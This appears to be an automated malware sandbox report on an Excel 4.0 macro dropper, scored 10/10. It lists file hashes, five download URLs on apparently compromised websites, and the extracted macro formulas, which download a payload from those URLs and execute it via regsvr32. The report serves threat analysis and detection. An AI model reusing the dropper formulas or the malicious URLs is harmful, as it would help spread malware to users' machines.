General

  • Target

    f74b0b76d3ff62dffef104124548f669dfeb0e83898286d3f026e0563a17c554

  • Size

    91KB

  • Sample

    241120-qe1k2axama

  • MD5

    cf7ccabc9c093034b810ede876af9384

  • SHA1

    47fac97941c070e95db6e25d38bcae4634ab3fce

  • SHA256

    f74b0b76d3ff62dffef104124548f669dfeb0e83898286d3f026e0563a17c554

  • SHA512

    54418ac7f590caa1a25ab956bf588ce7feeae80eb0a253e5e19686397b9f4ea2d9e4452a000ae6303c09285fcd9223a0f9233b14db121c4f5fb86142b37f9acb

  • SSDEEP

    1536:xNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:x142byVEoBo6hKb4llGsQjbxBw

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://themillionairesweb.com/wp-admin/MD/

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

http://idvlab.com.br/wp-admin/FIWBL/

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://themillionairesweb.com/wp-admin/MD/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://idvlab.com.br/wp-admin/FIWBL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://themillionairesweb.com/wp-admin/MD/

xlm40.dropper

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

xlm40.dropper

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

xlm40.dropper

http://idvlab.com.br/wp-admin/FIWBL/

xlm40.dropper

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/

Targets

    • Target

      f74b0b76d3ff62dffef104124548f669dfeb0e83898286d3f026e0563a17c554

    • Size

      91KB

    • MD5

      cf7ccabc9c093034b810ede876af9384

    • SHA1

      47fac97941c070e95db6e25d38bcae4634ab3fce

    • SHA256

      f74b0b76d3ff62dffef104124548f669dfeb0e83898286d3f026e0563a17c554

    • SHA512

      54418ac7f590caa1a25ab956bf588ce7feeae80eb0a253e5e19686397b9f4ea2d9e4452a000ae6303c09285fcd9223a0f9233b14db121c4f5fb86142b37f9acb

    • SSDEEP

      1536:xNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:x142byVEoBo6hKb4llGsQjbxBw

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks